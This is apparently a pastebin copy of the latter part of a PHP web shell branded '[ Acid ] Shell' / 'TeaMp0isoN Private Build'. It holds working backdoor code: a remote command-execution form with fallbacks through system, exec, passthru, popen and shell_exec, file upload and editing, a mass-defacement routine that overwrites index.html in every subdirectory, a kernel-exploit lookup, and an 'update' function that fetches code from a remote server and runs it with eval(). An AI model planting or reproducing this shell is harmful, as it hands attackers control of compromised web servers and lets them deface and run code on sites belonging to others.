  2683. foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2684. natsort($images);
  2685. $k = array_keys($images);
  2686. echo "<center>";
  2687. foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2688. echo "</center>";
  2689. }
  2690. exit;
  2691. }
  2692.  
  2693. echo "</td></tr></table>\n";
  2694. /*** COMMANDS PANEL ***/
  2695. ?>
  2696.  
  2697. <table class=mainpanel>
  2698. <tr><td align=right>Command:</td>
  2699. <td><form method="POST">
  2700. <input type=hidden name=act value="cmd">
  2701. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2702. <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
  2703. <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
  2704. </form>
  2705. </td></tr>
  2706. <tr><td align=right>Quick Commands:</td>
  2707. <td><form method="POST">
  2708. <input type=hidden name=act value="cmd">
  2709. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2710. <input type=hidden name="cmd_txt" value="1">
  2711. <select name="cmd">
  2712. <?php
  2713. foreach ($cmdaliases as $als) {
  2714. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2715. }
  2716. foreach ($cmdaliases2 as $als) {
  2717. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2718. }
  2719. ?>
  2720. </select> <input type=submit name=submit value="Execute">
  2721. </form>
  2722. </td></tr>
  2723. <tr><td align=right>Upload:</td>
  2724. <td><form method="POST" enctype="multipart/form-data">
  2725. <input type=hidden name=act value="upload">
  2726. <input type=hidden name="miniform" value="1">
  2727. <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
  2728. </form>
  2729. </td></tr>
  2730. <tr><td align=right>PHP Filesystem:</td>
  2731. <td>
  2732. <?php ##[ Acid ]## ?>
  2733. <script language="javascript">
  2734. function set_arg(txt1,txt2) {
  2735. document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
  2736. document.forms.fphpfsys.arg1.value = txt1;
  2737. document.forms.fphpfsys.arg2.value = txt2;
  2738. }
  2739. function chg_arg(num,txt1,txt2) {
  2740. if (num==0) {
  2741. document.forms.fphpfsys.arg1.type = "hidden";
  2742. document.forms.fphpfsys.A1.type = "hidden";
  2743. }
  2744. if (num<=1) {
  2745. document.forms.fphpfsys.arg2.type = "hidden";
  2746. document.forms.fphpfsys.A2.type = "hidden";
  2747. }
  2748. if (num==2) {
  2749. document.forms.fphpfsys.A1.type = "label";
  2750. document.forms.fphpfsys.A2.type = "label";
  2751. document.forms.fphpfsys.arg1.type = "text";
  2752. document.forms.fphpfsys.arg2.type = "text";
  2753. }
  2754. document.forms.fphpfsys.A1.value = txt1 + ":";
  2755. document.forms.fphpfsys.A2.value = txt2 + ":";
  2756. }
  2757. </script>
  2758. <?php
  2759. echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
  2760. "<select name=\"phpfsysfunc\">\r\n";
  2761. foreach ($phpfsaliases as $als) {
  2762. if ($als[1]==$phpfsysfunc) {
  2763. echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2764. }
  2765. else {
  2766. echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2767. }
  2768. }
  2769. echo "</select>\r\n".
  2770. "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
  2771. "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
  2772. "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
  2773. foreach ($sh_sourcez as $e => $o) {
  2774. echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
  2775. }
  2776. echo "</form>\r\n";
  2777. ?>
  2778. </td></tr>
  2779. <tr><td align=right>Search File:</td>
  2780. <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2781. <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
  2782. </form>
  2783. </td></tr>
  2784. <tr><td align=right>Create File:</td>
  2785. <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  2786. <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
  2787. </form></td></tr>
  2788. <tr><td align=right>View File:</td>
  2789. <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2790. <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
  2791. </form></td></tr>
  2792. <?
  2793. $self=basename($_SERVER['PHP_SELF']);
  2794. if(isset($_POST['execmassdeface']))
  2795. {
  2796. echo "<center><textarea rows='10' cols='100'>";
  2797. $hackfile = $_POST['massdefaceurl'];
  2798. $dir = $_POST['massdefacedir'];
  2799. echo $dir."\n";
  2800.  
  2801. if (is_dir($dir)) {
  2802. if ($dh = opendir($dir)) {
  2803. while (($file = readdir($dh)) !== false) {
  2804. if(filetype($dir.$file)=="dir"){
  2805. $newfile=$dir.$file."/index.html";
  2806. echo $newfile."\n";
  2807. if (!copy($hackfile, $newfile)) {
  2808. echo "failed to copy $file...\n";
  2809. }
  2810. }
  2811. }
  2812. closedir($dh);
  2813. }
  2814. }
  2815. echo "</textarea></center>";} ?>
  2816.  
  2817.  
  2818. <tr><td align=right>Mass Defacement:</td>
  2819. <td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></form></td>
  2820.  
  2821.  
  2822. </table>
  2823. <?php footer(); ?>
  2824. </body></html>
  2825. <?php
  2826.  
  2827.  
  2828. function safemode() {
  2829. if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
  2830. else { return FALSE; }
  2831. }
  2832. function getdisfunc() {
  2833. $disfunc = @ini_get("disable_functions");
  2834. if (!empty($disfunc)) {
  2835. $disfunc = str_replace(" ","",$disfunc);
  2836. $disfunc = explode(",",$disfunc);
  2837. }
  2838. else { $disfunc= array(); }
  2839. return $disfunc;
  2840. }
  2841. function enabled($func) {
  2842. if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
  2843. else { return FALSE; }
  2844. }
  2845. function tpexec($cmd) {
  2846. $output = "";
  2847. if ( enabled("popen") ) {
  2848. $h = popen($cmd.' 2>&1', 'r');
  2849. if ( is_resource($h) ) {
  2850. while ( !feof($h) ) { $output .= fread($h, 2096); }
  2851. pclose($h);
  2852. }
  2853. }
  2854. elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2855. elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2856. elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2857. elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2858. return $output;
  2859. }
  2860. function tpexec2($cmd) {
  2861. $output = "";
  2862. if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2863. elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2864. elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2865. elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2866. elseif ( enabled("popen") ) {
  2867. $h = popen($cmd.' 2>&1', 'r');
  2868. if ( is_resource($h) ) {
  2869. while ( !feof($h) ) { $output .= fread($h, 2096); }
  2870. pclose($h);
  2871. }
  2872. }
  2873. return $output;
  2874. }
  2875. function which($pr) {
  2876. $path = tpexec("which $pr");
  2877. if(!empty($path)) { return $path; } else { return $pr; }
  2878. }
  2879.  
  2880. function get_status() {
  2881. function showstat($sup,$stat) {
  2882. if ($stat=="on") { return "$sup: <font color=orange><b>ON</b></font>"; }
  2883. else { return "$sup: <font color=orange><b>OFF</b></font>"; }
  2884. }
  2885. $arrfunc = array(
  2886. array("MySQL","mysql_connect"),
  2887. array("MSSQL","mssql_connect"),
  2888. array("Oracle","ocilogon"),
  2889. array("PostgreSQL","pg_connect"),
  2890. array("Curl","curl_version"),
  2891. );
  2892. $arrcmd = array(
  2893. array("Fetch","fetch --help"),
  2894. array("Wget","wget --help"),
  2895. array("Perl","perl -v"),
  2896. );
  2897.  
  2898. $statinfo = array();
  2899. foreach ($arrfunc as $func) {
  2900. if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
  2901. else { $statinfo[] = showstat($func[0],"off"); }
  2902. }
  2903. $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
  2904. foreach ($arrcmd as $cmd) {
  2905. if (tpexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
  2906. else { $statinfo[] = showstat($cmd[0],"off"); }
  2907. }
  2908. return implode(" ",$statinfo);
  2909. }
  2910. function showdisfunc() {
  2911. if ($disablefunc = @ini_get("disable_functions")) {
  2912. return "<font color=orange><b>".$disablefunc."</b></font>";
  2913. }
  2914. else { return "<font color=orange><b>NONE</b></b></font>"; }
  2915. }
  2916. function disp_drives($curdir,$surl) {
  2917. $letters = "";
  2918. $v = explode("\\",$curdir);
  2919. $v = $v[0];
  2920. foreach (range("A","Z") as $letter) {
  2921. $bool = $isdiskette = $letter == "A";
  2922. if (!$bool) { $bool = is_dir($letter.":\\"); }
  2923. if ($bool) {
  2924. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
  2925. ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
  2926. if ($letter.":" != $v) { $letters .= $letter; }
  2927. else { $letters .= "<font color=orange>".$letter."</font>"; }
  2928. $letters .= "</a> ";
  2929. }
  2930. }
  2931. if (!empty($letters)) { Return $letters; }
  2932. else {Return "None"; }
  2933. }
  2934. function disp_freespace($curdrv) {
  2935. $free = @disk_free_space($curdrv);
  2936. $total = @disk_total_space($curdrv);
  2937. if ($free === FALSE) { $free = 0; }
  2938. if ($total === FALSE) { $total = 0; }
  2939. if ($free < 0) { $free = 0; }
  2940. if ($total < 0) { $total = 0; }
  2941. $used = $total-$free;
  2942. $free_percent = round(100/($total/$free),2)."%";
  2943. $free = view_size($free);
  2944. $total = view_size($total);
  2945. return "$free of $total ($free_percent)";
  2946. }
  2947.  
  2948. function tpgetsource($fn) {
  2949. global $tpsh_sourcesurl;
  2950. $array = array(
  2951. "tpsh.php" => "tpsh.txt",
  2952. );
  2953. $name = $array[$fn];
  2954. if ($name) {return file_get_contents($tpsh_sourcesurl.$name);}
  2955. else {return FALSE;}
  2956. }
  2957. function tpsh_getupdate($update = TRUE) {
  2958. $url = $GLOBALS["tpsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  2959. $data = @file_get_contents($url);
  2960. if (!$data) { return "Can't connect to update-server!"; }
  2961. else {
  2962. $data = ltrim($data);
  2963. $string = substr($data,3,ord($data{2}));
  2964. if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  2965. if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  2966. if ($data{0} == "\x99" and $data{1} == "\x03") {
  2967. $string = explode("|",$string);
  2968. if ($update) {
  2969. $confvars = array();
  2970. $sourceurl = $string[0];
  2971. $source = file_get_contents($sourceurl);
  2972. if (!$source) {return "Can't fetch update!";}
  2973. else {
  2974. $fp = fopen(__FILE__,"w");
  2975. if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download tpshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  2976. else {
  2977. fwrite($fp,$source);
  2978. fclose($fp);
  2979. return "Update completed!";
  2980. }
  2981. }
  2982. }
  2983. else {return "New version are available: ".$string[1];}
  2984. }
  2985. elseif ($data{0} == "\x99" and $data{1} == "\x04") {
  2986. eval($string);
  2987. return 1;
  2988. }
  2989. else {return "Error in protocol: segmentation failed! (".$data.") ";}
  2990. }
  2991. }
  2992. function tp_buff_prepare() {
  2993. global $sess_data;
  2994. global $act;
  2995. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2996. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2997. $sess_data["copy"] = array_unique($sess_data["copy"]);
  2998. $sess_data["cut"] = array_unique($sess_data["cut"]);
  2999. sort($sess_data["copy"]);
  3000. sort($sess_data["cut"]);
  3001. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  3002. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  3003. }
  3004. function tp_sess_put($data) {
  3005. global $sess_cookie;
  3006. global $sess_data;
  3007. tp_buff_prepare();
  3008. $sess_data = $data;
  3009. $data = serialize($data);
  3010. setcookie($sess_cookie,$data);
  3011. }
  3012.  
  3013.  
  3014. function fs_copy_dir($d,$t) {
  3015. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3016. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3017. $h = opendir($d);
  3018. while (($o = readdir($h)) !== FALSE) {
  3019. if (($o != ".") and ($o != "..")) {
  3020. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3021. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3022. if (!$ret) {return $ret;}
  3023. }
  3024. }
  3025. closedir($h);
  3026. return TRUE;
  3027. }
  3028. function fs_copy_obj($d,$t) {
  3029. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3030. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  3031. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  3032. if (is_dir($d)) {
  3033. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3034. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  3035. return fs_copy_dir($d,$t);
  3036. }
  3037. elseif (is_file($d)) { return copy($d,$t); }
  3038. else { return FALSE; }
  3039. }
  3040. function fs_move_dir($d,$t) {
  3041. $h = opendir($d);
  3042. if (!is_dir($t)) {mkdir($t);}
  3043. while (($o = readdir($h)) !== FALSE) {
  3044. if (($o != ".") and ($o != "..")) {
  3045. $ret = TRUE;
  3046. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  3047. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  3048. if (!$ret) {return $ret;}
  3049. }
  3050. }
  3051. closedir($h);
  3052. return TRUE;
  3053. }
  3054. function fs_move_obj($d,$t) {
  3055. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  3056. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  3057. if (is_dir($d)) {
  3058. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3059. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  3060. return fs_move_dir($d,$t);
  3061. }
  3062. elseif (is_file($d)) {
  3063. if(copy($d,$t)) {return unlink($d);}
  3064. else {unlink($t); return FALSE;}
  3065. }
  3066. else {return FALSE;}
  3067. }
  3068. function fs_rmdir($d) {
  3069. $h = opendir($d);
  3070. while (($o = readdir($h)) !== FALSE) {
  3071. if (($o != ".") and ($o != "..")) {
  3072. if (!is_dir($d.$o)) {unlink($d.$o);}
  3073. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  3074. }
  3075. }
  3076. closedir($h);
  3077. rmdir($d);
  3078. return !is_dir($d);
  3079. }
  3080. function fs_rmobj($o) {
  3081. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  3082. if (is_dir($o)) {
  3083. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  3084. return fs_rmdir($o);
  3085. }
  3086. elseif (is_file($o)) {return unlink($o);}
  3087. else {return FALSE;}
  3088. }
  3089.  
  3090. function onphpshutdown() {
  3091. global $gzipencode,$ft;
  3092. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  3093. $v = @ob_get_contents();
  3094. @ob_end_clean();
  3095. @ob_start("ob_gzHandler");
  3096. echo $v;
  3097. @ob_end_flush();
  3098. }
  3099. }
  3100. function tpshexit() { onphpshutdown(); exit; }
  3101.  
  3102. function tpfsearch($d) {
  3103. global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
  3104. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  3105. $h = opendir($d);
  3106. while (($f = readdir($h)) !== FALSE) {
  3107. if($f != "." && $f != "..") {
  3108. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  3109. if (is_dir($d.$f)) {
  3110. $search_i_d++;
  3111. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  3112. if (!is_link($d.$f)) {tpfsearch($d.$f);}
  3113. }
  3114. else {
  3115. $search_i_f++;
  3116. if ($bool) {
  3117. if (!empty($a["text"])) {
  3118. $r = @file_get_contents($d.$f);
  3119. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  3120. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  3121. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  3122. else {$bool = strpos(" ".$r,$a["text"],1);}
  3123. if ($a["text_not"]) {$bool = !$bool;}
  3124. if ($bool) {$found[] = $d.$f; $found_f++;}
  3125. }
  3126. else {$found[] = $d.$f; $found_f++;}
  3127. }
  3128. }
  3129. }
  3130. }
  3131. closedir($h);
  3132. }
  3133. function view_size($size) {
  3134. if (!is_numeric($size)) { return FALSE; }
  3135. else {
  3136. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  3137. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  3138. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  3139. else {$size = $size . " B";}
  3140. return $size;
  3141. }
  3142. }
  3143. function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
  3144. function view_perms($mode) {
  3145. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  3146. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  3147. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  3148. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  3149. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  3150. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  3151. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  3152. else {$type = "?";}
  3153. $owner["read"] = ($mode & 00400)?"r":"-";
  3154. $owner["write"] = ($mode & 00200)?"w":"-";
  3155. $owner["execute"] = ($mode & 00100)?"x":"-";
  3156. $group["read"] = ($mode & 00040)?"r":"-";
  3157. $group["write"] = ($mode & 00020)?"w":"-";
  3158. $group["execute"] = ($mode & 00010)?"x":"-";
  3159. $world["read"] = ($mode & 00004)?"r":"-";
  3160. $world["write"] = ($mode & 00002)? "w":"-";
  3161. $world["execute"] = ($mode & 00001)?"x":"-";
  3162. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  3163. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  3164. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  3165. return $type.join("",$owner).join("",$group).join("",$world);
  3166. }
  3167. function parse_perms($mode) {
  3168. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  3169. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  3170. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  3171. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  3172. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  3173. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  3174. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  3175. else {$t = "?";}
  3176. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  3177. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  3178. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  3179. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  3180. }
  3181. function parsesort($sort) {
  3182. $one = intval($sort);
  3183. $second = substr($sort,-1);
  3184. if ($second != "d") {$second = "a";}
  3185. return array($one,$second);
  3186. }
  3187. function view_perms_color($o) {
  3188. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  3189. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  3190. else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  3191. }
  3192. function str2mini($content,$len) {
  3193. if (strlen($content) > $len) {
  3194. $len = ceil($len/2) - 2;
  3195. return substr($content, 0,$len)."...".substr($content,-$len);
  3196. } else {return $content;}
  3197. }
  3198. function strips(&$arr,$k="") {
  3199. if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  3200. else { $arr = stripslashes($arr); }
  3201. }
  3202.  
  3203. function getmicrotime() {
  3204. list($usec, $sec) = explode(" ", microtime());
  3205. return ((float)$usec + (float)$sec);
  3206. }
  3207.  
  3208. function milw0rm() {
  3209. $Lversion = php_uname(r);
  3210. $OSV = php_uname(s);
  3211. if(eregi("Linux",$OSV)) {
  3212. $Lversion = substr($Lversion,0,6);
  3213. return "http://packetstormsecurity.org/search/?q=Linux Kernel ".$Lversion;
  3214. } else {
  3215. $Lversion = substr($Lversion,0,3);
  3216. return "http://packetstormsecurity.org/search/?q=".$OSV." ".$Lversion;
  3217. }
  3218. }
  3219.  
  3220.  
  3221. function sh_name() { return base64_decode("VGVhTXAwaXNvTiBQcml2YXRlIEJ1aWxkIFsgQkVUQSBd"); }
  3222. function htmlhead($safemode) {
  3223. $style = '
  3224. <style type="text/css">
  3225. body,table {font:8pt verdana;background-color:black;}
  3226. table {width:100%;}
  3227. table,td,#maininfo td {padding:3px;}
  3228. table,td,input,select,option {border:1px solid #808080;}
  3229. body,table,input,select,option {color:#FFFFFF;}
  3230. a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
  3231. textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
  3232. #pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
  3233. #pagebar td {vertical-align:top;}
  3234. #pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
  3235. #pagebar a {font-weight:bold;color:orange;}
  3236. #pagebar a:visited {color:#000000;}
  3237. #mainmenu {text-align:center;}
  3238. #mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
  3239. #maininfo,.barheader,.bartitle {text-align:center;}
  3240. .fleft {float:left;text-align:left;}
  3241. .fright {float:right;text-align:right;}
  3242. .bartitle {padding:5px;border:2px solid #000000;}
  3243. .barheader {font-weight:bold;padding:5px;}
  3244. .info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
  3245. .info th {color:orange;text-align:left;width:13%;}
  3246. .contents,.explorer {border-collapse:collapse;}
  3247. .contents,.explorer td,th {vertical-align:top;}
  3248. .mainpanel {border-collapse:collapse;padding:5px;}
  3249. .barheader,.mainpanel table,td {border:1px solid #333333;}
  3250. input[type="submit"],input[type="button"] {border:1px solid #000000;}
  3251. input[type="text"] {padding:3px;}
  3252. .shell {background-color:#000000;color:orange;padding:5px;font-size:12;}
  3253. .fxerrmsg {color:red; font-weight:bold;}
  3254. #pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
  3255. #pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#000000;}
  3256. .bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
  3257. textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
  3258. input[type="label"] { text-align:right;}
  3259. .info,.info td,input[type="label"] {border:0;background:none;}
  3260. </style>
  3261. ';
  3262. $html_start = '
  3263. <html><head>
  3264. <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
  3265. '.$style.'
  3266. </head>
  3267. <body>
  3268. <center><img src="http://s019.radikal.ru/i642/1301/8b/4b8d2f31486f.png" alt="ShellBanner"></center>
  3269. ';
  3270. return $html_start;
  3271. };
  3272. function footer() {
  3273. echo "<div class=bartitle colspan=2><font size=2 color=#00FF00><b> [ Acid ] Shell - #Version 1! [PRIV4TE] -; Generated: ".round(getmicrotime()-starttime,4)." seconds</b></font></div>";
  3274. }
  3275. chdir($lastdir); tpshexit();
  3276. ?>
Add Comment
Please, Sign In to add comment